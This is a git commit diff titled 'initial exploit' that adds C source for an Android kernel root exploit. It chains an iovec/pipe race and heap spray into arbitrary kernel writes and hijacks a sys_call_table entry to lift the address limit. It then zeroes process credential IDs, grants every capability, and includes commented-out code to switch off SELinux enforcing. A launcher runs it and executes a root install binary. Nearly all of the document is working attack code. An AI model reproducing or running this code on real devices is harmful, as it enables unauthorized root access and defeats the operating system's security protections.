initial exploit

src/exploit/common/exp_sys_call.c

@@ -0,0 +1,83 @@
+#include <string.h>
+#include <memory.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <stdint.h>
+
+#include <sys/syscall.h>
+ 
+#include <sys/prctl.h>
+#include <fcntl.h>
+
+#include "exp_sys_call.h"
+#include "kallsyms.h"
+#include "log.h"
+
+unsigned long int exp_sys_call_address;
+
+#define PR_GET_SECCOMP  21
+
+int config_seccomp() {
+  if (kallsyms_exist_sym("__audit_seccomp"))
+    return 1;
+
+  int ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0);
+    if (ret < 0) {
+        switch (errno) {
+        case ENOSYS:
+            return 0;
+        case EINVAL:
+                return 0;
+        default:
+                return 1;
+        }
+    }
+    return 1;
+}
+
+int config_oabi() {
+  return kallsyms_exist_sym("sys_oabi_call_table");
+}
+
+unsigned long get_sys_table_base_via_swi()
+{
+    const void *swi_addr = (const void *)(uintptr_t)0xFFFF0008u;
+    unsigned long vector_swi_offset = 0;
+    unsigned long vector_swi_instruction = 0;
+    unsigned long *vector_swi_addr_ptr = NULL;
+    unsigned long offset = 0xC4;
+    
+    memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
+    vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
+    if (config_oabi()) {
+      offset += 0x24;
+    }
+    if (config_seccomp()) {
+      offset += 0x20;
+    }
+    vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
+    LOGE("offset:%x\n", offset);
+    LOGE("addr:%x\n", (*vector_swi_addr_ptr));
+    return *vector_swi_addr_ptr + offset;
+}
+
+unsigned long get_sys_table_base() {
+  unsigned long syscall_base = (unsigned long)kallsyms_get_symbol_address("sys_call_table");
+  if (syscall_base)
+    return syscall_base;
+
+  return get_sys_table_base_via_swi();
+}
+
+bool
+setup_exp_sys_call_address(void)
+{
+  unsigned long sys_call_table = get_sys_table_base();
+
+  if (sys_call_table == 0)
+    return false;
+
+  exp_sys_call_address = (unsigned long int)sys_call_table + __NR_exp_ * 4;
+  return true;
+}

src/exploit/common/exp_sys_call.h

@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2013 Hiroyuki Ikezoe
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+#ifndef _EXP_SYS_H_
+#define _EXP_SYS_H_
+
+#include <stdbool.h>
+#include <stdio.h>
+
+#define __NR_exp_       222
+
+extern unsigned long int exp_sys_call_address;
+bool setup_exp_sys_call_address(void);
+unsigned long get_sys_table_base(void);
+
+#endif /* _EXP_SYS_H_ */
+/*
+vi:ts=2:nowrap:ai:expandtab:sw=2
+*/

src/exploit/common/getroot.c

@@ -0,0 +1,248 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <errno.h>
+#include <sys/syscall.h>
+#include <unistd.h>
+#include <stddef.h>
+#include <string.h>
+
+#include "threadinfo.h"
+#include "kallsyms.h"
+
+#define __user
+#define __kernel
+
+#define QUOTE(str) #str
+#define TOSTR(str) QUOTE(str)
+#define ASMMAGIC (0xBEEFDEAD)
+
+int read_at_address_pipe(void* address, void* buf, ssize_t len)
+{
+	int ret = 1;
+	int pipes[2];
+
+	if(pipe(pipes))
+		return 1;
+
+	if(write(pipes[1], address, len) != len)
+		goto end;
+	if(read(pipes[0], buf, len) != len)
+		goto end;
+
+	ret = 0;
+end:
+	close(pipes[1]);
+	close(pipes[0]);
+	return ret;
+}
+
+int write_at_address_pipe(void* address, void* buf, ssize_t len)
+{
+	int ret = 1;
+	int pipes[2];
+
+	if(pipe(pipes))
+		return 1;
+
+	if(write(pipes[1], buf, len) != len)
+		goto end;
+	if(read(pipes[0], address, len) != len)
+		goto end;
+
+	ret = 0;
+end:
+	close(pipes[1]);
+	close(pipes[0]);
+	return ret;
+}
+
+inline int writel_at_address_pipe(void* address, unsigned long val)
+{
+	return write_at_address_pipe(address, &val, sizeof(val));
+}
+
+static bool is_keyring_configed() {
+	return kallsyms_exist_sym("keyring_read");
+}
+
+#define KALLSYMS_RESTRICT "/proc/sys/kernel/kptr_restrict"
+
+static int set_kallsyms_restrict(int state) {
+	FILE *fd = fopen(KALLSYMS_RESTRICT, "w");
+	int ret = -1;
+    if(fd == NULL) {
+    	printf("open failed, ppid:%d, gid:%d,%s\n",getppid(), getgid(),strerror(errno));
+        return ret;
+    }
+
+    if (state == 0)
+    	if (fwrite("0", 1, 1, fd) != 1)
+    		goto fail;
+    else if(state == 1)
+    	if (fwrite("2", 1, 1,fd) != 1)
+    		goto fail;
+
+    ret = 0;
+
+fail:	    
+	printf("set kall syms restrict ret:%d\n", ret);
+	fclose(fd);
+	return ret;
+}
+
+static struct task_security_struct init_tss;
+
+static unsigned int get_init_sid(void* info, int cred_offset) {
+	unsigned int pid;
+	unsigned int tgid;
+	unsigned int ppid;
+	unsigned int par_offset;
+	unsigned int pid_offset;
+	struct cred* __kernel cred = NULL;
+
+	unsigned int buff[0x100];
+	unsigned int buff2[0x100];
+
+
+	pid = syscall(__NR_gettid);
+	tgid = getpgid(pid);
+	ppid = getppid();
+	unsigned int ptgid = getpgid(ppid);
+
+	if(read_at_address_pipe(info, &buff, 0x400)) {
+		return 0;
+	}
+
+	for(pid_offset=0; pid_offset < 0x100; pid_offset++) {
+		if(buff[pid_offset] == pid && buff[pid_offset + 1]==tgid) {
+			par_offset = pid_offset + 3;
+			do {
+				if (buff[par_offset] > KERNEL_START && !(buff[par_offset] & 0x3)) {
+					if (read_at_address_pipe((void *)(uintptr_t)buff[par_offset], &buff2, 0x400)) {
+						return 0;
+					}
+					if (buff2[pid_offset] == ppid) {
+						break;
+					}
+				}
+				par_offset++;
+			}while((par_offset - pid_offset) <=4);
+
+			if (par_offset - pid_offset > 4) {
+				return 0;
+			}
+
+
+			while (ppid != 1) {
+				if (read_at_address_pipe((void *)(uintptr_t)buff2[par_offset], &buff2, 0x400)) {
+					return 0;
+				}
+				ppid = buff2[pid_offset];
+			}
+
+			struct task_security_struct* __kernel security = NULL;
+			cred = (struct cred *)(uintptr_t)buff2[cred_offset/4];
+			read_at_address_pipe(&cred->security, &security, sizeof(security));
+			if ((unsigned long)security < KERNEL_START) 
+				read_at_address_pipe(0x10 + &cred->security, &security, sizeof(security));
+
+			if ((unsigned long)security > KERNEL_START) {
+				if(read_at_address_pipe(security, &init_tss, sizeof(init_tss)))
+					return 0;
+				return init_tss.sid;
+			}
+		}
+	}
+	return 0;
+}
+
+int modify_task_cred_uc(struct thread_info* __kernel info)
+{
+	unsigned int i;
+	unsigned long val;
+	struct cred* __kernel cred = NULL;
+	uid_t process_uid = getuid();
+	gid_t process_gid = getgid();
+	struct thread_info ti;
+	struct task_struct_partial* __user tsp;
+
+	if(read_at_address_pipe(info, &ti, sizeof(ti)))
+		return 1;
+
+	tsp = malloc(sizeof(*tsp));
+	if (!tsp)
+		return -ENOMEM;
+
+	for(i = 0; i < 0x600; i+= sizeof(void*))
+	{
+		struct task_struct_partial* __kernel t = (struct task_struct_partial*)((void*)ti.task + i);
+		if(read_at_address_pipe(t, tsp, sizeof(*tsp)))
+			break;
+
+		if (is_cpu_timer_valid(&tsp->cpu_timers[0])
+			&& is_cpu_timer_valid(&tsp->cpu_timers[1])
+			&& is_cpu_timer_valid(&tsp->cpu_timers[2])
+			&& tsp->real_cred == tsp->cred)
+		{
+			struct cred candidate;
+			if ((unsigned long)tsp->cred >= KERNEL_START
+				&& !((unsigned long)tsp->cred & 3)
+				&& !read_at_address_pipe(tsp->cred, &candidate,
+					offsetof(struct cred, jit_keyring))
+				&& candidate.usage.counter > 0
+				&& candidate.uid == process_uid
+				&& candidate.gid == process_gid
+				&& candidate.euid == process_uid
+				&& candidate.egid == process_gid) {
+				cred = tsp->cred;
+				break;
+			}
+		}
+	}
+	free(tsp);
+	if(cred == NULL)
+		return 1;
+
+	val = 0;
+	write_at_address_pipe(&cred->uid, &val, sizeof(cred->uid));
+	write_at_address_pipe(&cred->gid, &val, sizeof(cred->gid));
+	write_at_address_pipe(&cred->suid, &val, sizeof(cred->suid));
+	write_at_address_pipe(&cred->sgid, &val, sizeof(cred->sgid));
+	write_at_address_pipe(&cred->euid, &val, sizeof(cred->euid));
+	write_at_address_pipe(&cred->egid, &val, sizeof(cred->egid));
+	write_at_address_pipe(&cred->fsuid, &val, sizeof(cred->fsuid));
+	write_at_address_pipe(&cred->fsgid, &val, sizeof(cred->fsgid));
+
+	val = -1;
+	write_at_address_pipe(&cred->cap_inheritable.cap[0], &val, sizeof(cred->cap_inheritable.cap[0]));
+	write_at_address_pipe(&cred->cap_inheritable.cap[1], &val, sizeof(cred->cap_inheritable.cap[1]));
+	write_at_address_pipe(&cred->cap_permitted.cap[0], &val, sizeof(cred->cap_permitted.cap[0]));
+	write_at_address_pipe(&cred->cap_permitted.cap[1], &val, sizeof(cred->cap_permitted.cap[1]));
+	write_at_address_pipe(&cred->cap_effective.cap[0], &val, sizeof(cred->cap_effective.cap[0]));
+	write_at_address_pipe(&cred->cap_effective.cap[1], &val, sizeof(cred->cap_effective.cap[1]));
+	write_at_address_pipe(&cred->cap_bset.cap[0], &val, sizeof(cred->cap_bset.cap[0]));
+	write_at_address_pipe(&cred->cap_bset.cap[1], &val, sizeof(cred->cap_bset.cap[1]));
+
+	// if (!is_selinux()) {
+	// 	return 0;
+	// }
+
+	/* HP's rk30_t7h_dvt_defconfig has CONFIG_SECURITY disabled. */
+
+	// set_kallsyms_restrict(0);
+	// {
+	// 	int zero = 0;
+	// 	int selinux_enabled = kallsyms_get_symbol_address("selinux_enabled");
+	// 	int selinux_enforcing = kallsyms_get_symbol_address("selinux_enforcing");
+	// 	printf("%x,%x\n", selinux_enabled, selinux_enforcing );
+	// 	if(selinux_enabled)
+	// 		write_at_address_pipe(selinux_enabled, &zero, sizeof(zero));
+	// 	if(selinux_enforcing)
+	// 		write_at_address_pipe(selinux_enforcing, &zero, sizeof(zero));
+	// }
+	// set_kallsyms_restrict(1);
+end:
+	return 0;
+}

src/exploit/common/getroot.h

@@ -0,0 +1,11 @@
+#ifndef GETROOT_H
+#define GETROOT_H
+
+#include "threadinfo.h"
+
+int read_at_address_pipe(void* address, void* buf, ssize_t len);
+int write_at_address_pipe(void* address, void* buf, ssize_t len);
+inline int writel_at_address_pipe(void* address, unsigned long val);
+int modify_task_cred_uc(struct thread_info* info);
+
+#endif /* GETROOT_H */

src/exploit/common/kallsyms.c

@@ -0,0 +1,83 @@
+#include <errno.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#include "kallsyms.h"
+
+bool
+kallsyms_exist(void)
+{
+  struct stat st;
+
+  if (stat("/proc/kallsyms", &st) < 0) {
+    return false;
+  }
+
+  if  (st.st_mode & S_IROTH) {
+    return kallsyms_get_symbol_address("_stext") != 0;
+  }
+
+  return false;
+}
+
+bool kallsyms_exist_sym(const char *symbol_name) 
+{
+  FILE *fp;
+  char function[BUFSIZ];
+  char symbol;
+  void *address;
+  int ret;
+
+  fp = fopen("/proc/kallsyms", "r");
+  if (!fp) {
+    return false;
+  }
+
+  while(!feof(fp)) {
+    ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
+    if (ret != 3) {
+      break;
+    }
+
+    if (!strcmp(function, symbol_name)) {
+      fclose(fp);
+      return true;
+    }
+  }
+  fclose(fp);
+
+  return false;
+}
+
+void *
+kallsyms_get_symbol_address(const char *symbol_name)
+{
+  FILE *fp;
+  char function[BUFSIZ];
+  char symbol;
+  void *address;
+  int ret;
+
+  fp = fopen("/proc/kallsyms", "r");
+  if (!fp) {
+    return 0;
+  }
+
+  while(!feof(fp)) {
+    ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
+    if (ret != 3) {
+      break;
+    }
+
+    if (!strcmp(function, symbol_name)) {
+      fclose(fp);
+      return address;
+    }
+  }
+  fclose(fp);
+
+  return NULL;
+}
+

src/exploit/common/kallsyms.h

@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2013 Hiroyuki Ikezoe
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+#ifndef KALLSYMS_H
+#define KALLSYMS_H
+
+#include <stdbool.h>
+
+bool  kallsyms_exist(void);
+void *kallsyms_get_symbol_address(const char *symbol_name);
+bool kallsyms_exist_sym(const char *symbol_name);
+
+#endif /* KALLSYMS_H */
+/*
+vi:ts=2:nowrap:ai:expandtab:sw=2
+*/

src/exploit/common/log.h

@@ -0,0 +1,46 @@
+/******************************************************************************
+ *
+ * AUTHOR
+ *      lihouchen <lihouchen@handscape.com.cn>
+ *
+ *****************************************************************************/
+#ifndef _LOG_H
+#define _LOG_H
+
+#include <android/log.h>
+
+// #define SHOW_DETAIL_STEP 1
+
+#define DEBUG
+// #define ANDROID_LOG 1
+
+#ifndef LOG_TAG
+#define LOG_TAG "zroot"
+#endif
+
+
+#ifdef DEBUG
+#ifdef ANDROID_LOG
+#define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , LOG_TAG, __VA_ARGS__)
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO   , LOG_TAG, __VA_ARGS__)
+#define LOGW(...) __android_log_print(ANDROID_LOG_WARN   , LOG_TAG, __VA_ARGS__)
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR  , LOG_TAG, __VA_ARGS__)
+#else   // #ifdef ANDROID_LOG
+#define LOGV(...) printf(__VA_ARGS__)
+#define LOGD(...) printf(__VA_ARGS__)
+#define LOGI(...) printf(__VA_ARGS__)
+#define LOGW(...) printf(__VA_ARGS__)
+#define LOGE(...) printf(__VA_ARGS__)
+#endif  // #ifdef ANDROID_LOG
+#else   // #ifdef DEBUG
+#define LOGV(...)
+#define LOGD(...)
+#define LOGI(...)
+#define LOGW(...)
+#define LOGE(...)
+#endif  // #ifdef DEBUG
+
+//char logbuff[256];
+
+#endif // _LOG_H

src/exploit/common/threadinfo.h

@@ -0,0 +1,124 @@
+#ifndef THREADINFO_H
+#define THREADINFO_H
+
+#include <stdint.h>
+
+//64bit structs according to sources from Z5 Lollipop 32.0.A.6.200
+//32bit structs according to sources from Z3C Lollipop 23.4.A.1.200
+
+#if (__LP64__)
+#define KERNEL_START 0xffffffc000000000
+#define THREAD_SIZE 16384
+#else
+#define KERNEL_START 0xc0000000
+#define THREAD_SIZE 8192
+#endif
+
+typedef unsigned int u32;
+struct task_struct;
+struct thread_info;
+
+struct list_head {
+        struct list_head *next, *prev;
+};
+
+static inline struct thread_info* get_thread_info(unsigned long sp)
+{
+	return (struct thread_info*)(sp & ~(THREAD_SIZE - 1));
+}
+
+static inline struct thread_info* current_thread_info()
+{
+	register unsigned long sp asm ("sp");
+	return get_thread_info(sp);
+}
+
+static inline int is_cpu_timer_valid(struct list_head* cpu_timer) 
+{
+	if (cpu_timer->next != cpu_timer->prev)
+		return 0;
+
+	if ((unsigned long)cpu_timer->next < KERNEL_START)
+		return 0;
+
+	return 1;
+}
+
+typedef struct {
+	int counter;
+} atomic_t;
+
+typedef struct kernel_cap_struct {
+	uint32_t cap[2];
+} kernel_cap_t;
+
+struct task_security_struct {
+	u32 osid;		/* SID prior to last execve */
+	u32 sid;		/* current SID */
+	u32 exec_sid;		/* exec SID */
+	u32 create_sid;		/* fscreate SID */
+	u32 keycreate_sid;	/* keycreate SID */
+	u32 sockcreate_sid;	/* fscreate SID */
+};
+
+struct task_struct_partial
+{
+	/* ... */
+	struct list_head cpu_timers[3];
+	struct cred *real_cred;
+	struct cred *cred;
+	struct cred *replacement_session_keyring;
+	char comm[16];
+	/* ... */
+};
+
+struct cred {
+	atomic_t	usage;
+	uid_t		uid;		/* real UID of the task */
+	gid_t		gid;		/* real GID of the task */
+	uid_t		suid;		/* saved UID of the task */
+	gid_t		sgid;		/* saved GID of the task */
+	uid_t		euid;		/* effective UID of the task */
+	gid_t		egid;		/* effective GID of the task */
+	uid_t		fsuid;		/* UID for VFS ops */
+	gid_t		fsgid;		/* GID for VFS ops */
+	unsigned	securebits;	/* SUID-less security management */
+	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
+	kernel_cap_t	cap_permitted;	/* caps we're permitted */
+	kernel_cap_t	cap_effective;	/* caps we can actually use */
+	kernel_cap_t	cap_bset;	/* capability bounding set */
+	unsigned char	jit_keyring;	/* default keyring to attach requested
+					 * keys to */
+#if (__LP64__)
+	void	*session_keyring; /* keyring inherited over fork */
+	void	*process_keyring; /* keyring private to this process */
+	void	*thread_keyring; /* keyring private to this thread */
+	void	*request_key_auth; /* assumed request_key authority */
+#else
+	void	*thread_keyring; /* keyring private to this thread */
+	void	*request_key_auth; /* assumed request_key authority */
+	void	*tgcred; /* thread-group shared credentials */
+#endif
+	struct task_security_struct	*security;	/* subjective LSM security */
+	/* ... */
+};
+
+#if (__LP64__)
+struct thread_info {
+        unsigned long           flags;          /* low level flags */
+        unsigned long           addr_limit;     /* address limit */
+        struct task_struct      *task;          /* main task structure */
+        /* ... */
+};
+#else
+struct thread_info
+{
+	unsigned long flags;
+	int preempt_count;
+	unsigned long addr_limit;
+	struct task_struct *task;
+	/* ... */
+};
+#endif
+
+#endif /* THREADINFO_H */

src/exploit/expIov/exp_iov.h

@@ -0,0 +1,16 @@
+#ifndef _EXP_IOV_H_
+#define _EXP_IOV_H_
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+int iov_main(void);
+int iov_probe(void);
+
+#ifdef __cplusplus 
+}
+#endif
+
+
+#endif

src/exploit/expIov/iov_exp_main.c

@@ -0,0 +1,438 @@
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+
+#include <netinet/ip.h>
+
+#include <sys/syscall.h>
+
+#include <sys/mman.h>
+#include <sys/uio.h>
+
+#include <sys/resource.h>
+#include <sys/socket.h>
+#include <sys/types.h>  
+#include <sys/prctl.h>
+#include <fcntl.h>
+#include <time.h>
+
+#ifndef PROBE_ONLY
+#include "getroot.h"
+#include "kallsyms.h"
+#include "exp_sys_call.h"
+#endif
+#include "log.h"
+
+#ifndef F_SETPIPE_SZ
+#define F_SETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 7)
+#endif
+#ifndef F_GETPIPE_SZ
+#define F_GETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 8)
+#endif
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 4096
+#endif
+
+#define WAIT_MAX_SECS	30
+
+#define UDP_SERVER_PORT (5105)
+#define MEMMAGIC (0xDEADBEEF)
+//pipe buffers are seperated in pages
+#define PIPESZ (4096 * 32)
+#define IOVECS (512)
+#define SENDTHREADS (0xE0)
+#define MMAP_ADDR ((void*)0x40000000)
+#define MMAP_SIZE (PAGE_SIZE * 2)
+static volatile int kill_switch = 0;
+static volatile int stop_send = 0;
+static int pipefd[2];
+static struct iovec iovs[IOVECS];
+static volatile unsigned long overflowcheck = MEMMAGIC;
+
+// #ifndef __aarch64__
+// struct mmsghdr {
+// 	struct msghdr msg_hdr;
+// 	unsigned int  msg_len;
+// };
+// #endif
+
+static void* readpipe(void* param)
+{
+	while(!kill_switch)
+	{
+		readv((int)((long)param), iovs, ((IOVECS / 2) + 1));
+	}
+
+	pthread_exit(NULL);
+}
+
+static int startreadpipe()
+{
+	int ret;
+	pthread_t rthread;
+
+	// printf("    [+] Start read thread\n");
+	if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0])))
+		perror("read pthread_create()");
+
+	return ret;
+}
+
+static char wbuf[4096];
+static void* writepipe(void* param)
+{
+	while(!kill_switch)
+	{
+		if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf))
+			perror("write()");
+	}
+
+	pthread_exit(NULL);
+}
+
+static int startwritepipe(long targetval)
+{
+	int ret;
+	unsigned int i;
+	pthread_t wthread;
+
+	// printf("    [+] Start write thread\n");
+
+	for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++)
+		((long*)wbuf)[i] = targetval;
+	if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1])))
+		perror("write pthread_create()");
+
+	return ret;
+}
+
+static void* writemsg(void* param)
+{
+	int sockfd;
+	struct mmsghdr msg = {{ 0 }, 0 };
+	struct sockaddr_in soaddr = { 0 };
+
+	(void)param; /* UNUSED */
+	soaddr.sin_family = AF_INET;
+	soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	soaddr.sin_port = htons(UDP_SERVER_PORT);
+	
+	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
+	if (sockfd == -1)
+	{
+		perror("socket client failed");
+		pthread_exit((void*)-1);
+	}
+
+	if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1) 
+	{
+		perror("connect failed");
+		pthread_exit((void*)-1);
+	}
+
+	msg.msg_hdr.msg_iov = iovs;
+	msg.msg_hdr.msg_iovlen = IOVECS;
+	msg.msg_hdr.msg_control = iovs;
+	msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec));
+
+	while(!stop_send)
+	{
+		syscall(__NR_sendmmsg, sockfd, &msg, 1, 0);
+		// syscall(__NR_sendmsg, sockfd, &(msg.msg_hdr), 0);
+	}
+
+	close(sockfd);
+	pthread_exit(NULL);
+}
+
+static int heapspray(long* target)
+{
+	unsigned int i;
+	void* retval;
+	pthread_t msgthreads[SENDTHREADS];
+
+	iovs[(IOVECS / 2) + 1].iov_base = (void*)&overflowcheck;
+	iovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck);
+	iovs[(IOVECS / 2) + 2].iov_base = target;
+	iovs[(IOVECS / 2) + 2].iov_len = sizeof(*target);
+
+	for(i = 0; i < SENDTHREADS; i++)
+	{
+		int thread_error = pthread_create(&msgthreads[i], NULL, writemsg, NULL);
+		if(thread_error)
+		{
+			printf("spray pthread_create failed at %u: %d\n", i,
+			       thread_error);
+			stop_send = 1;
+			while (i > 0)
+				pthread_join(msgthreads[--i], &retval);
+			stop_send = 0;
+			return 1;
+		}
+	}
+
+	sleep(2);
+	stop_send = 1;
+	for(i = 0; i < SENDTHREADS; i++)
+		pthread_join(msgthreads[i], &retval);
+	stop_send = 0;
+
+	return 0;
+}
+
+static void* mapunmap(void* param)
+{
+	(void)param; /* UNUSED */
+	while(!kill_switch)
+	{
+		munmap(MMAP_ADDR, MMAP_SIZE);
+		if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
+		{
+			perror("mmap() thread");
+			exit(2);
+		}
+		usleep(50);
+	}
+
+	pthread_exit(NULL);
+}
+
+static int startmapunmap()
+{
+	int ret;
+	pthread_t mapthread;
+
+	if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL)))
+		perror("mapunmap pthread_create()");
+	
+	return ret;
+}
+
+static int initmappings()
+{
+	memset(iovs, 0, sizeof(iovs));
+
+	if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
+	{
+		perror("mmap()");
+		return -ENOMEM;
+	}
+
+	//just any buffer that is always available
+	iovs[0].iov_base = &wbuf;
+	//how many bytes we can arbitrary write
+	iovs[0].iov_len = sizeof(long) * 2;
+
+	iovs[1].iov_base = MMAP_ADDR;
+	//we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
+	iovs[1].iov_len = ((PAGE_SIZE * 2) - iovs[0].iov_len);
+
+	return 0;
+}
+
+static int getpipes()
+{
+	int ret;
+
+	if((ret = pipe(pipefd)))
+	{
+		perror("pipe()");
+		return ret;
+	}
+
+	ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1;
+	if(ret)
+		perror("fcntl()");
+
+	return ret;
+}
+
+static int setfdlimit()
+{
+	struct rlimit rlim;
+	int ret;
+	if ((ret = getrlimit(RLIMIT_NOFILE, &rlim)))
+	{
+		perror("getrlimit()");
+		return ret;
+	}
+
+	rlim.rlim_cur = rlim.rlim_max;
+	if((ret = setrlimit(RLIMIT_NOFILE, &rlim)))
+		perror("setrlimit()");
+
+	return ret;
+}
+
+static int setprocesspriority()
+{
+	int ret;
+
+	if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1)
+		perror("setpriority()");
+	return ret;
+}
+
+static int write_at_address(void* target, unsigned long targetval)
+{
+	kill_switch = 0;
+	overflowcheck = MEMMAGIC;
+	int timeout;
+
+	if(startmapunmap())
+		return 1;
+	if(startwritepipe(targetval))
+		return 1;
+	if(heapspray(target))
+		return 1;
+
+	sleep(1);
+
+	if(startreadpipe())
+		return 1;
+
+	for (timeout = 0; timeout < WAIT_MAX_SECS; timeout++)
+	{
+		if(overflowcheck != MEMMAGIC)
+		{
+			LOGD("    [+] Done\n");
+			kill_switch = 1;
+			return 0;
+		}
+		sleep(1);
+	}
+
+	kill_switch = 1;
+	
+	return 1;
+}
+
+
+#ifndef PROBE_ONLY
+__attribute__((naked, noinline))
+struct thread_info* patchaddrlimit(void)
+{
+	/*
+	 * This function executes as the temporary syscall body.  Keep it fully
+	 * self-contained: old kernel headers express current_thread_info() with
+	 * a register variable that modern Clang miscompiles at -O0.
+	 *
+	 * HP's ARMv7 kernel uses an 8 KiB kernel stack and TI_ADDR_LIMIT == 8.
+	 * r0 is both the computed thread_info pointer and the return value.
+	 */
+	__asm__ volatile(
+		"mov r0, sp\n"
+		"lsr r0, r0, #13\n"
+		"lsl r0, r0, #13\n"
+		"mvn r1, #0\n"
+		"str r1, [r0, #8]\n"
+		"bx lr\n");
+}
+
+int getroot()
+{
+	int ret = 1;
+	struct thread_info* ti;
+	unsigned long original_ni_syscall = 0;
+
+    unsigned long sys_call_table_base = get_sys_table_base();
+	if(write_at_address((void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
+	                    (unsigned long)&patchaddrlimit))
+		return 1;
+	
+    ti = (struct thread_info*)syscall(__NR_exp_);
+ 
+    if(ti == -1 || ti < KERNEL_START) {
+    	LOGD("syscall failed, errno:%d\n", errno);
+    	return -1;
+    }
+
+	/*
+	 * Restore the table before touching credentials.  Syscalls 222 and 223
+	 * are both sys_ni_syscall in this HP kernel tree, so entry 223 is a safe
+	 * authoritative source for the original pointer.
+	 */
+	if (read_at_address_pipe(
+	        (void *)(uintptr_t)(sys_call_table_base + (__NR_exp_ + 1) * 4),
+	        &original_ni_syscall, sizeof(original_ni_syscall)) ||
+	    write_at_address_pipe(
+	        (void *)(uintptr_t)(sys_call_table_base + __NR_exp_ * 4),
+	        &original_ni_syscall, sizeof(original_ni_syscall))) {
+		LOGD("failed to restore syscall 222\n");
+		goto end;
+	}
+	LOGD("restored syscall 222 to 0x%08lx\n", original_ni_syscall);
+
+    if(modify_task_cred_uc(ti))
+        goto end;
+ 
+	ret = 0;
+end:
+	return ret;
+}
+
+int iov_main()
+{
+	unsigned int i;
+	int ret = 1;
+
+	if(setfdlimit())
+		return 1;
+	// if(setprocesspriority())
+	// 	return 1;
+	if(getpipes())
+		return 1;
+	if(initmappings())
+		return 1;
+
+	ret = getroot();
+	//let the threads end
+	if (ret != 0) {
+		LOGD("iov ret:%d\n", ret);
+	}
+	sleep(2);
+
+	close(pipefd[0]);
+	close(pipefd[1]);
+
+	if(getuid() == 0)
+	{
+		return 0;
+	}
+	
+	return 1;
+}
+#endif
+
+/*
+ * Non-privileged vulnerability probe.  It exercises the same iovec race as
+ * the exploit, but both destinations are ordinary writable variables in this
+ * process.  It never supplies a kernel address and never modifies credentials.
+ */
+int iov_probe(void)
+{
+	volatile unsigned long safe_target = MEMMAGIC;
+	const unsigned long probe_value = 0x434F4445;
+	int ret;
+
+	if (setfdlimit())
+		return 2;
+	if (getpipes())
+		return 2;
+	if (initmappings())
+		return 2;
+
+	ret = write_at_address((void *)&safe_target, probe_value);
+	sleep(1);
+	kill_switch = 1;
+	close(pipefd[0]);
+	close(pipefd[1]);
+
+	printf("probe ret=%d overflowcheck=0x%08lx target=0x%08lx\n",
+	       ret, overflowcheck, safe_target);
+	return (ret == 0 && overflowcheck == probe_value &&
+	        safe_target == probe_value) ? 0 : 1;
+}

src/exploit/root-main.c

@@ -0,0 +1,15 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <unistd.h>
+#include "exp_iov.h"
+
+int main(void)
+{
+    int rc = iov_main();
+    printf("exploit rc=%d uid=%d gid=%d\n", rc, getuid(), getgid());
+    if (rc != 0 || getuid() != 0)
+        return 1;
+    execl("/data/local/tmp/install-root", "install-root", (char *)0);
